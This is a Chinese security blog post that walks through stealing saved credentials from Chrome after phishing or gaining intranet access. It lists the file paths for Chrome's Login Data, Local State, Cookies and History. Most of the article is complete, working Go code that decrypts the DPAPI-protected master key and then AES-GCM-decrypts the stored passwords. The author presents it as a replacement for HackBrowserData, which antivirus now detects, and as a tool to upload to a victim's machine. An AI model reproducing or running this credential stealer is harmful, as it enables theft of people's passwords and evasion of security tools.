chrome浏览器密码解密工具

wangqiang

​ chrome浏览器密码解密工具
原创 暗月小徒弟 moonsec
2022-06-26 13:43 发表于广东
转载地址：chrome浏览器密码解密工具


chrome浏览器密码解密工具

1、前言
当我们钓鱼或者进入内网获得一台机器权限的时候，第一步是需要信息搜集的，其中一步就是抓取并解密浏览器密码，虽然后一款非常好用的HackBrowserData工具，
但是用的人多了也就开始被杀了。
这篇文章就是来了解一下如何去解密Chrome浏览器密码的抓取浏览器信息需要以下几个文件，这些文件存储了浏览器的信息，工具抓取也是去获取这些文件里面的信息。


2、过程
chrome 敏感文件存储位置

1. chrome的登陆账号密码文件Login Data文件存储位置
   
2. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
   
3. chrome中存储加密key的位置
   
4. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
   
5. chrome的cookie存储的位置：
   
6. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
   
7. chrome的浏览历史History存储位置：
   
8. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
   
9. chrome的收藏的书签存储位置：
   
10. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks

复制代码

其中Cookies、History、Login Data是SQLite3数据库文件，可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件

Login Data文件是一个数据库文件，可以直接使用工具连接数据库。当chrome正在使用时，是不可连接的

1. User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data

复制代码

​

但是可以复制出来，再次进行连接。其他都是明文，密码字段是加密的

​

由于数据库使用的是sqlite3，使用golang脚本加载sqlite3库，进行连接，可正常查询数据​​​​​​​

1. package main
   
2. 
   
3. 
   
4. import (
   
5.     "database/sql"
   
6.     "fmt"
   
7.     "log"
   
8.     "os"
   
9.    
   
10.     _ "github.com/mattn/go-sqlite3"
    
11. )
    
12. 
    
13. 
    
14. var (
    
15.     userPath, _ = os.UserHomeDir()
    
16.     //保存的密码存到了logindata数据库sqlite
    
17.     localData  string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
    
18.     localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
    
19.     temporary  string = "D:\\GoProject\\test\\Login Data"
    
20. )
    
21. 
    
22. 
    
23. type chromeDB struct {
    
24.     Origin_url     string `json:"origin_url"`
    
25.     Action_url     string `json:"action_url"`
    
26.     Username_value string `json:"username_value"`
    
27.     Password_value string `json:"password_value"`
    
28. }
    
29. 
    
30. 
    
31. func sqLite() {
    
32.     var chrome chromeDB
    
33.     db, err := sql.Open("sqlite3", temporary)
    
34.     checkErr(err)
    
35.     sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
    
36.     // stmt, err := db.Prepare(sql)
    
37.     // checkErr(err)
    
38.     //defer stmt.Close()
    
39.     rows, err := db.Query(sql)
    
40.     checkErr(err)
    
41.     for rows.Next() {
    
42.         err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
    
43.         checkErr(err)
    
44.         fmt.Println(chrome.Action_url)
    
45.     }
    
46.    
    
47. }
    
48. 
    
49. 
    
50. func checkErr(err error) {
    
51.     if err != nil {
    
52.         log.Fatal(err)
    
53.     }
    
54. }
    
55. 
    
56. 
    
57. func main() {
    
58.     sqLite()
    
59. }

复制代码

​

但是查询的密码是加密的，接下来需要对密码进行解密。

​

windows下的chrome使用的加密方法是AES加密，需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的，在encrypted_key参数对应的就是解密需要的key

​

chrome最新版在密钥加密后数据前缀是V10，在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密，
然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据，然后经过base64解密，再去除首位5个字符DPAPI。
因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
​​​​​​​

1. func GetMasterKey() ([]byte, error) {
   
2.   keyFile, err := ioutil.ReadFile(temporarykey)
   
3.   if err != nil {
   
4.     return nil, err
   
5.   }
   
6.   defer os.Remove(string(keyFile))
   
7.   encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
   
8.   if encryptedKey.Exists() {
   
9.     pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
   
10.     if err != nil {
    
11.       return nil, errDecodeMasterKeyFailed
    
12.     }
    
13.     //去除首位5个字符DPAPI
    
14.     masterKey, err := DPApi(pureKey[5:])
    
15. 
    
16. 
    
17.     checkErr(err, "6")
    
18. 
    
19. 
    
20.     return masterKey, err
    
21.   }
    
22.   return nil, nil
    
23. }
    
24. 
    
25. 
    
26. func DPApi(data []byte) ([]byte, error) {
    
27.   dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
    
28.   dllKernel := syscall.NewLazyDLL("Kernel32.dll")
    
29.   procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
    
30.   procLocalFree := dllKernel.NewProc("LocalFree")
    
31.   var outBlob dataBlob
    
32.   r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
    
33.   if r == 0 {
    
34.     return nil, err
    
35.   }
    
36.   defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
    
37.   return outBlob.ToByteArray(), nil
    
38. }
    
39. 
    
40. 
    
41. func NewBlob(d []byte) *dataBlob {
    
42.   if len(d) == 0 {
    
43.     return &dataBlob{}
    
44.   }
    
45.   return &dataBlob{
    
46.     pbData: &d[0],
    
47.     cbData: uint32(len(d)),
    
48.   }
    
49. }

复制代码

这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法

1. key,err := GetMasterKey()
   
2. 
   
3. 
   
4. pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
   
5. 
   
6. 
   
7. func Chromium(key, encryptPass []byte) ([]byte, error) {
   
8.   if len(encryptPass) > 15 {
   
9.     // remove Prefix 'v10'
   
10.     return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
    
11.   } else {
    
12.     return nil, errPasswordIsEmpty
    
13.   }
    
14. }
    
15. 
    
16. 
    
17. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
    
18.   block, err := aes.NewCipher(key)
    
19.   if err != nil {
    
20.     return nil, err
    
21.   }
    
22.   blockMode, err := cipher.NewGCM(block)
    
23.   if err != nil {
    
24.     return nil, err
    
25.   }
    
26.   origData, err := blockMode.Open(nil, nounce, crypted, nil)
    
27.   if err != nil {
    
28.     return nil, err
    
29.   }
    
30.   return origData, nil
    
31. }

复制代码

有了key可解密方法之后就可以传入数据库中的密码和key进行解密，如下是完整的解密代码。可自行测试，

1. package main
   
2. 
   
3. 
   
4. import (
   
5.   "crypto/aes"
   
6.   "crypto/cipher"
   
7.   "database/sql"
   
8.   "encoding/base64"
   
9.   "errors"
   
10.   "fmt"
    
11.   "io/ioutil"
    
12.   "os"
    
13.   "syscall"
    
14.   "unsafe"
    
15. 
    
16. 
    
17.   _ "github.com/mattn/go-sqlite3"
    
18.   "github.com/tidwall/gjson"
    
19. )
    
20. 
    
21. 
    
22. var (
    
23.   userPath, _ = os.UserHomeDir()
    
24.   //保存的密码存到了logindata数据库sqlite
    
25.   localData    string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
    
26.   localState   string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
    
27.   //这里是我临时存放这两个文件的目录位置，当然也可以copy到指定目录
    
28.     temporarydb  string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
    
29.   temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
    
30. )
    
31. 
    
32. 
    
33. type chromeDB struct {
    
34.   Origin_url     string `json:"origin_url"`
    
35.   Action_url     string `json:"action_url"`
    
36.   Username_value string `json:"username_value"`
    
37.   Password_value string `json:"password_value"`
    
38. }
    
39. 
    
40. 
    
41. type dataBlob struct {
    
42.   cbData uint32
    
43.   pbData *byte
    
44. }
    
45. 
    
46. 
    
47. func sqLite() {
    
48.   fmt.Println(localState)
    
49.   var chrome chromeDB
    
50.   db, err := sql.Open("sqlite3", temporarydb)
    
51.   checkErr(err, "1")
    
52. 
    
53. 
    
54.   sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
    
55.   rows, err := db.Query(sql)
    
56. 
    
57. 
    
58.   checkErr(err, "2")
    
59.   for rows.Next() {
    
60. 
    
61. 
    
62.     err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
    
63. 
    
64. 
    
65.     checkErr(err, "3")
    
66.     // fmt.Println(chrome.Password_value)
    
67.     key, err := GetMasterKey()
    
68. 
    
69. 
    
70.     checkErr(err, "4")
    
71.     pass, err := Chromium([]byte(key), []byte(chrome.Password_value))
    
72. 
    
73. 
    
74.     checkErr(err, "5")
    
75.     fmt.Println(string(pass))
    
76.   }
    
77. }
    
78. 
    
79. 
    
80. var (
    
81.   errPasswordIsEmpty       = errors.New("password is empty")
    
82.   errDecodeMasterKeyFailed = errors.New("decode master key failed")
    
83. )
    
84. 
    
85. 
    
86. func Chromium(key, encryptPass []byte) ([]byte, error) {
    
87.   if len(encryptPass) > 15 {
    
88.     // remove Prefix 'v10'
    
89.     return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
    
90.   } else {
    
91.     return nil, errPasswordIsEmpty
    
92.   }
    
93. }
    
94. 
    
95. 
    
96. func GetMasterKey() ([]byte, error) {
    
97.   keyFile, err := ioutil.ReadFile(temporarykey)
    
98.   if err != nil {
    
99.     return nil, err
    
100.   }
     
101.   defer os.Remove(string(keyFile))
     
102.   encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
     
103.   if encryptedKey.Exists() {
     
104.     pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
     
105.     if err != nil {
     
106.       return nil, errDecodeMasterKeyFailed
     
107.     }
     
108.     //去除首位5个字符DPAPI
     
109.     masterKey, err := DPApi(pureKey[5:])
     
110. 
     
111. 
     
112.     checkErr(err, "6")
     
113. 
     
114. 
     
115.     return masterKey, err
     
116.   }
     
117.   return nil, nil
     
118. }
     
119. 
     
120. 
     
121. func NewBlob(d []byte) *dataBlob {
     
122.   if len(d) == 0 {
     
123.     return &dataBlob{}
     
124.   }
     
125.   return &dataBlob{
     
126.     pbData: &d[0],
     
127.     cbData: uint32(len(d)),
     
128.   }
     
129. }
     
130. 
     
131. 
     
132. func (b *dataBlob) ToByteArray() []byte {
     
133.   d := make([]byte, b.cbData)
     
134.   copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
     
135.   return d
     
136. }
     
137. 
     
138. 
     
139. func DPApi(data []byte) ([]byte, error) {
     
140.   dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
     
141.   dllKernel := syscall.NewLazyDLL("Kernel32.dll")
     
142.   procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
     
143.   procLocalFree := dllKernel.NewProc("LocalFree")
     
144.   var outBlob dataBlob
     
145.   r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
     
146.   if r == 0 {
     
147.     return nil, err
     
148.   }
     
149.   defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
     
150.   return outBlob.ToByteArray(), nil
     
151. }
     
152. 
     
153. 
     
154. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
     
155.   block, err := aes.NewCipher(key)
     
156.   if err != nil {
     
157.     return nil, err
     
158.   }
     
159.   blockMode, err := cipher.NewGCM(block)
     
160.   if err != nil {
     
161.     return nil, err
     
162.   }
     
163.   origData, err := blockMode.Open(nil, nounce, crypted, nil)
     
164.   if err != nil {
     
165.     return nil, err
     
166.   }
     
167.   return origData, nil
     
168. }
     
169. 
     
170. 
     
171. func checkErr(err error, str string) {
     
172.   if err != nil {
     
173.     fmt.Println(err, str)
     
174.   }
     
175. }
     
176. 
     
177. 
     
178. func main() {
     
179. 
     
180. 
     
181.   sqLite()
     
182. }

复制代码

输出结果

​

如果你不会做免杀，那么就可以单独写一个解密工具，如遇到对方机器只有Chrome的时候，可以上传这个小工具

​

​

​